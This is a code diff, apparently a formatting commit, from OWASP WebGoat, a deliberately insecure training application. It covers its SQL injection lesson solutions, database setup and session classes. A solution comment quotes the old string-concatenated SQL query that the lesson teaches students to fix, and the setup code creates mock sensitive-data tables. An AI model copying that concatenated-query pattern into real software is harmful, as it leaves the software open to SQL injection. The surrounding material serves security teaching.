.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(
answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"),
answer_results.getString("title"),
answer_results.getString("phone"),
answer_results.getString("address1"),
answer_results.getString("address2"),
answer_results.getInt("manager"),
answer_results.getString("start_date"),
answer_results.getInt("salary"),
answer_results.getString("ccn"),
answer_results.getInt("ccn_limit"),
answer_results.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/ }
}
catch ( SQLException sqle )
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"),
answer_results.getString("disciplined_notes"), answer_results
.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " +
* profile.getFirstName() + " " + profile.getLastName() + " (" +
* profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
s.setMessage( "Error getting employee profile" );
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch ( Exception e )
} catch (Exception e)
{
s.setMessage( "Error getting employee profile" );
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
}
@ -124,8 +110,8 @@ public class ViewProfile_i extends ViewProfile
{
throw new UnauthorizedException(); // STAGE 4 - ALTERNATE FIX
}
return profile;
}
}

View File

@ -1,34 +1,28 @@
package org.owasp.webgoat.lessons.instructor.SQLInjection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.lessons.SQLInjection.Login;
import org.owasp.webgoat.lessons.SQLInjection.SQLInjection;
import org.owasp.webgoat.session.WebSession;
/*
Solution Summary: Edit Login.java and change login().
Modify login() with lines denoted by // STAGE 2 - FIX.
Solution Steps:
1. Change dynamic query to parameterized query.
a. Replace the dynamic varaibles with the "?"
String query = "SELECT * FROM employee WHERE userid = ? and password = ?"
b. Create a preparedStatement using the new query
PreparedStatement answer_statement = SQLInjection.getConnection(s).prepareStatement(
query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
c. Set the values of the parameterized query
answer_statement.setString(1, userId); // STAGE 2 - FIX
answer_statement.setString(2, password); // STAGE 2 - FIX
d. Execute the preparedStatement
ResultSet answer_results = answer_statement.executeQuery();
*/
/*
* Solution Summary: Edit Login.java and change login(). Modify login() with lines denoted by //
* STAGE 2 - FIX. Solution Steps: 1. Change dynamic query to parameterized query. a. Replace the
* dynamic varaibles with the "?" String query =
* "SELECT * FROM employee WHERE userid = ? and password = ?" b. Create a preparedStatement using
* the new query PreparedStatement answer_statement =
* SQLInjection.getConnection(s).prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE,
* ResultSet.CONCUR_READ_ONLY ); c. Set the values of the parameterized query
* answer_statement.setString(1, userId); // STAGE 2 - FIX answer_statement.setString(2, password);
* // STAGE 2 - FIX d. Execute the preparedStatement ResultSet answer_results =
* answer_statement.executeQuery();
*/
public class Login_i extends Login
{
@ -39,17 +33,21 @@ public class Login_i extends Login
public boolean login(WebSession s, String userId, String password)
{
//System.out.println("Logging in to lesson");
// System.out.println("Logging in to lesson");
boolean authenticated = false;
try
{
String query = "SELECT * FROM employee WHERE userid = ? and password = ?"; // STAGE 2 - FIX
String query = "SELECT * FROM employee WHERE userid = ? and password = ?"; // STAGE 2 -
// FIX
try
{
PreparedStatement answer_statement = WebSession.getConnection(s).prepareStatement( query,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); // STAGE 2 - FIX
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); // STAGE
// 2
// -
// FIX
answer_statement.setString(1, userId); // STAGE 2 - FIX
answer_statement.setString(2, password); // STAGE 2 - FIX
ResultSet answer_results = answer_statement.executeQuery(); // STAGE 2 - FIX
@ -60,21 +58,19 @@ public class Login_i extends Login
authenticated = true;
}
}
catch ( SQLException sqle )
} catch (SQLException sqle)
{
s.setMessage( "Error logging in" );
s.setMessage("Error logging in");
sqle.printStackTrace();
}
}
catch ( Exception e )
} catch (Exception e)
{
s.setMessage( "Error logging in" );
s.setMessage("Error logging in");
e.printStackTrace();
}
//System.out.println("Lesson login result: " + authenticated);
// System.out.println("Lesson login result: " + authenticated);
return authenticated;
}
}

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.instructor.SQLInjection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.SQLInjection.ViewProfile;
import org.owasp.webgoat.session.Employee;
@ -11,32 +11,24 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/*
Solution Summary: Edit ViewProfile.java and change getEmployeeProfile().
Modify getEmployeeProfile() with lines denoted by // STAGE 4 - FIX.
Solution Steps:
1. Change dynamic query to parameterized query.
a. Replace the dynamic variables with the "?"
Old: String query = "SELECT employee.* " +
"FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
"ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;
New: String query = "SELECT employee.* " +
"FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
"ownership.employer_id = ? and ownership.employee_id = ?";
b. Create a preparedStatement using the new query
PreparedStatement answer_statement = SQLInjection.getConnection(s).prepareStatement(
query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
c. Set the values of the parameterized query
answer_statement.setInt(1, Integer.parseInt(userId)); // STAGE 4 - FIX
answer_statement.setInt(2, Integer.parseInt(subjectUserId)); // STAGE 4 - FIX
d. Execute the preparedStatement
ResultSet answer_results = answer_statement.executeQuery();
*/
* Solution Summary: Edit ViewProfile.java and change getEmployeeProfile(). Modify
* getEmployeeProfile() with lines denoted by // STAGE 4 - FIX. Solution Steps: 1. Change dynamic
* query to parameterized query. a. Replace the dynamic variables with the "?" Old: String query =
* "SELECT employee.* " +
* "FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
* "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId; New:
* String query = "SELECT employee.* " +
* "FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
* "ownership.employer_id = ? and ownership.employee_id = ?"; b. Create a preparedStatement using
* the new query PreparedStatement answer_statement =
* SQLInjection.getConnection(s).prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE,
* ResultSet.CONCUR_READ_ONLY ); c. Set the values of the parameterized query
* answer_statement.setInt(1, Integer.parseInt(userId)); // STAGE 4 - FIX answer_statement.setInt(2,
* Integer.parseInt(subjectUserId)); // STAGE 4 - FIX d. Execute the preparedStatement ResultSet
* answer_results = answer_statement.executeQuery();
*/
public class ViewProfile_i extends ViewProfile
{
@ -45,65 +37,57 @@ public class ViewProfile_i extends ViewProfile
super(lesson, lessonName, actionName);
}
public Employee getEmployeeProfile(WebSession s, String userId, String subjectUserId)
throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, String userId, String subjectUserId) throws UnauthorizedException
{
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user
// Query the database for the profile data of the given employee if "owned" by the given
// user
Employee profile = null;
try
{
String query = "SELECT employee.* " +
"FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
"ownership.employer_id = ? and ownership.employee_id = ?";
String query = "SELECT employee.* "
+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = ? and ownership.employee_id = ?";
try
{
PreparedStatement answer_statement = WebSession.getConnection(s).prepareStatement( query,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); // STAGE 4 - FIX
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); // STAGE
// 4
// -
// FIX
answer_statement.setInt(1, Integer.parseInt(userId)); // STAGE 4 - FIX
answer_statement.setInt(2, Integer.parseInt(subjectUserId)); // STAGE 4 - FIX
ResultSet answer_results = answer_statement.executeQuery(); // STAGE 4 - FIX
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(
answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"),
answer_results.getString("title"),
answer_results.getString("phone"),
answer_results.getString("address1"),
answer_results.getString("address2"),
answer_results.getInt("manager"),
answer_results.getString("start_date"),
answer_results.getInt("salary"),
answer_results.getString("ccn"),
answer_results.getInt("ccn_limit"),
answer_results.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/ }
}
catch ( SQLException sqle )
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
s.setMessage( "Error getting employee profile" );
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch ( Exception e )
} catch (Exception e)
{
s.setMessage( "Error getting employee profile" );
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
}

View File

@ -66,7 +66,8 @@ public class CreateDB
try
{
String createTableStatement = "CREATE TABLE messages (" + "num int not null," + "title varchar(50),"
+ "message varchar(200)," + "user_name varchar(50) not null, " + "lesson_type varchar(50) not null" + ")";
+ "message varchar(200)," + "user_name varchar(50) not null, " + "lesson_type varchar(50) not null"
+ ")";
statement.executeUpdate(createTableStatement);
} catch (SQLException e)
{
@ -235,7 +236,7 @@ public class CreateDB
statement.executeUpdate(insertData11);
statement.executeUpdate(insertData12);
statement.executeUpdate(insertData13);
}
private void createLoginTable(Connection connection) throws SQLException
@ -316,9 +317,10 @@ public class CreateDB
statement.executeUpdate(insertData5);
statement.executeUpdate(insertData6);
}
/**
* Create users whith tans
*
* @param connection
* @throws SQLException
*/
@ -341,7 +343,8 @@ public class CreateDB
{
String createTableStatement = "CREATE TABLE user_data_tan (" + "userid int not null,"
+ "first_name varchar(20)," + "last_name varchar(20)," + "cc_number varchar(30),"
+ "cc_type varchar(10)," + "cookie varchar(20)," + "login_count int," + "password varchar(20)" +")";
+ "cc_type varchar(10)," + "cookie varchar(20)," + "login_count int," + "password varchar(20)"
+ ")";
statement.executeUpdate(createTableStatement);
} catch (SQLException e)
{
@ -358,9 +361,10 @@ public class CreateDB
statement.executeUpdate(insertData2);
statement.executeUpdate(insertData3);
}
/**
* Create the Table for the tans
*
* @param connection
* @throws SQLException
*/
@ -381,8 +385,8 @@ public class CreateDB
// Create the new table
try
{
String createTableStatement = "CREATE TABLE tan (" + "userid int not null,"
+ "tanNr int," + "tanValue int" + ")";
String createTableStatement = "CREATE TABLE tan (" + "userid int not null," + "tanNr int," + "tanValue int"
+ ")";
statement.executeUpdate(createTableStatement);
} catch (SQLException e)
{
@ -396,14 +400,13 @@ public class CreateDB
String insertData3 = "INSERT INTO tan VALUES (101,3,18794)";
String insertData4 = "INSERT INTO tan VALUES (101,4,1564)";
String insertData5 = "INSERT INTO tan VALUES (101,5,45751)";
String insertData6 = "INSERT INTO tan VALUES (102,1,15648)";
String insertData7 = "INSERT INTO tan VALUES (102,2,92156)";
String insertData8 = "INSERT INTO tan VALUES (102,3,4879)";
String insertData9 = "INSERT INTO tan VALUES (102,4,9458)";
String insertData10 = "INSERT INTO tan VALUES (102,5,4879)";
statement.executeUpdate(insertData1);
statement.executeUpdate(insertData2);
statement.executeUpdate(insertData3);
@ -450,8 +453,8 @@ public class CreateDB
+ "ssn VARCHAR(12)," + "password VARCHAR(10)," + "title VARCHAR(20)," + "phone VARCHAR(13),"
+ "address1 VARCHAR(80)," + "address2 VARCHAR(80)," + "manager INT," + "start_date CHAR(8),"
+ "salary INT," + "ccn VARCHAR(30)," + "ccn_limit INT," + "email VARCHAR(30)," // reason
// for
// the
// for
// the
// recent write-up
+ "disciplined_date CHAR(8)," // date of write up, NA otherwise
+ "disciplined_notes VARCHAR(60)," // reason for the recent write-up

View File

@ -927,7 +927,8 @@ public class ParameterParser
// Validates format for major brands of credit card.
// private static final String CCNREGEX =
// "^(?:(?<Visa>4\\d{3})|(?<Mastercard>5[1-5]\\d{2})|(?<Discover>6011)|(?<DinersClub>(?:3[68]\\d{2})|(?:30[0-5]\\d))|(?<AmericanExpress>3[47]\\d{2}))([
// -]?)(?(DinersClub)(?:\\d{6}\\1\\d{4})|(?(AmericanExpress)(?:\\d{6}\\1\\d{5})|(?:\\d{4}\\1\\d{4}\\1\\d{4})))$";
//-]?)(?(DinersClub)(?:\\d{6}\\1\\d{4})|(?(AmericanExpress)(?:\\d{6}\\1\\d{5})|(?:\\d{4}\\1\\d{4
// }\\1\\d{4})))$";
private static final String CCNREGEX = "^\\d{16}$";
private static final Pattern Ccnpattern = Pattern.compile(CCNREGEX);

View File

@ -168,7 +168,7 @@ public class WebSession
private boolean isColor = false;
private boolean isDebug = false;
private boolean hasHackedHackableAdmin = false;
private StringBuffer message = new StringBuffer("");
@ -456,10 +456,10 @@ public class WebSession
if (showCookies()) cookies = Arrays.asList(request.getCookies());
/*
* List cookies = new Vector(); HttpServletRequest request = getRequest(); Cookie[] cookies =
* request.getCookies(); if ( cookies.length == 0 ) { list.addElement( new LI( "No Cookies" ) ); }
* for ( int i = 0; i < cookies.length; i++ ) { Cookie cookie = cookies[i];
* cookies.add(cookie); //list.addElement( new LI( cookie.getName() + " -> " +
* List cookies = new Vector(); HttpServletRequest request = getRequest(); Cookie[] cookies
* = request.getCookies(); if ( cookies.length == 0 ) { list.addElement( new LI(
* "No Cookies" ) ); } for ( int i = 0; i < cookies.length; i++ ) { Cookie cookie =
* cookies[i]; cookies.add(cookie); //list.addElement( new LI( cookie.getName() + " -> " +
* cookie.getValue() ) ); }
*/
@ -1004,8 +1004,8 @@ public class WebSession
}
/**
* @param header -
* request header value to return
* @param header
* - request header value to return
* @return
*/
public String getHeader(String header)

View File

@ -67,7 +67,7 @@ public class WebgoatContext
private boolean codingExercises = false;
private String feedbackAddress = "webgoat@owasp.org";
private String feedbackAddressHTML = "<A HREF=mailto:webgoat@owasp.org>webgoat@owasp.org</A>";
private boolean isDebug = false;
@ -92,7 +92,8 @@ public class WebgoatContext
defuseOSCommands = "true".equals(getParameter(servlet, DEFUSEOSCOMMANDS));
enterprise = "true".equals(getParameter(servlet, ENTERPRISE));
codingExercises = "true".equals(getParameter(servlet, CODING_EXERCISES));
feedbackAddressHTML = getParameter(servlet, FEEDBACK_ADDRESS_HTML) != null ? getParameter(servlet, FEEDBACK_ADDRESS_HTML)
feedbackAddressHTML = getParameter(servlet, FEEDBACK_ADDRESS_HTML) != null ? getParameter(servlet,
FEEDBACK_ADDRESS_HTML)
: feedbackAddressHTML;
feedbackAddress = getParameter(servlet, FEEDBACK_ADDRESS) != null ? getParameter(servlet, FEEDBACK_ADDRESS)
: feedbackAddress;

View File

@ -129,9 +129,9 @@ public class HtmlEncoder
* <p>
*
* e.g. <tt>"bread" & "butter"</tt> => <tt>&amp;quot;bread&amp;quot; &amp;amp;
* &amp;quot;butter&amp;quot;</tt> .
* Update: supports nearly all HTML entities, including funky accents. See the source code for
* more detail. Adapted from http://www.purpletech.com/code/src/com/purpletech/util/Utils.java.
* &amp;quot;butter&amp;quot;</tt> . Update: supports nearly all HTML entities, including funky
* accents. See the source code for more detail. Adapted from
* http://www.purpletech.com/code/src/com/purpletech/util/Utils.java.
*
* @param s1
* Description of the Parameter

View File

@ -59,7 +59,6 @@ public class Interceptor implements Filter
/*
* (non-Javadoc)
*
* @see javax.servlet.Filter#destroy()
*/
public void destroy()
@ -133,7 +132,6 @@ public class Interceptor implements Filter
/*
* (non-Javadoc)
*
* @see javax.servlet.Filter#init(javax.servlet.FilterConfig)
*/
public void init(FilterConfig arg0) throws ServletException